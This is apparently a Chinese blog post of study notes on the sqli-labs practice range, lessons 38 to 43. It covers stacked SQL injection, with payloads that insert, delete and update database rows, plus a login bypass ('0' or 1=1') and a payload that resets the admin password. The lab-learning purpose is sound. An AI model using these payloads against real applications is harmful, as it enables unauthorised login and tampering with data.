sqli-labs学习笔记 DAY8
DAY 8
sqli-lab Page-3
sqli-labs lesson 38
- What is Stacked injection?
 https://blog.csdn.net/Fly_hps/article/details/80288678
- SQL插入语句: 
 或者INSERT INTO table_name (column1,column2,column3,...) VALUES (value1,value2,value3,...);INSERT INTO table_name VALUES (value1,value2,value3,...);
- payload构建:?id=1';insert into users values (99,'test','test')--+
- 注:闭合符号、表名以及字段可以通过之前学习的方法获得。
- 结果: 
sqli-labs lesson 39
- SQL删除语句: DELETE FROM table_name WHERE some_column=some_value;
- 跟上一题一样,只不过是数值型的参数,我们用delete语句把上次插入的记录删除
- payload构建:?id=1;delete from users where id=99--+
- 结果: 
sqli-labs lesson 40
- SQL更新语句: UPDATE table_name SET column1=value1,column2=value2,... WHERE some_column=some_value;
- 利用联合查询或者盲注获得闭合符号、数据库名、表名、字段名等,更新id=1的密码
- payload:?id=99') UNION SELECT 1,2,3;update users set password='god' where id=1--+
- 结果: 
sqli-labs lesson 41
- 跟上一题一样,只不过是数值型注入
sqli-labs lesson 42
- 万能密码: 
    - 用户名:随意
- 密码:0' or 1=1;#
- 结果:直接登录id=1的账号
 
- Stacked Injection: 
    - 抓包:这里用Fiddler 
- 改包:密码改为1';update users set password='test' where username='admin'#
- 结果:成功更改了admin账号的密码 
 
- 抓包:这里用Fiddler
sqli-labs lesson 43
- 这一题与上一题一样,闭合符号是’)
Fiddler使用
- 下载与安装:https://www.telerik.com/fiddler
- 界面: 
- 抓包: 
    - 快捷键F12打开抓包(默认为8888端口), 出现该图标即已经打开。 出现该图标即已经打开。
- 抓包结果在左侧。  点击后左侧新增一个记录,打开后可以修改请求。 点击后左侧新增一个记录,打开后可以修改请求。
- 修改完毕,点击 
 
- 快捷键F12打开抓包(默认为8888端口),
 
                     
                    
                 
                    
                
 posted on
 posted on 
   
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号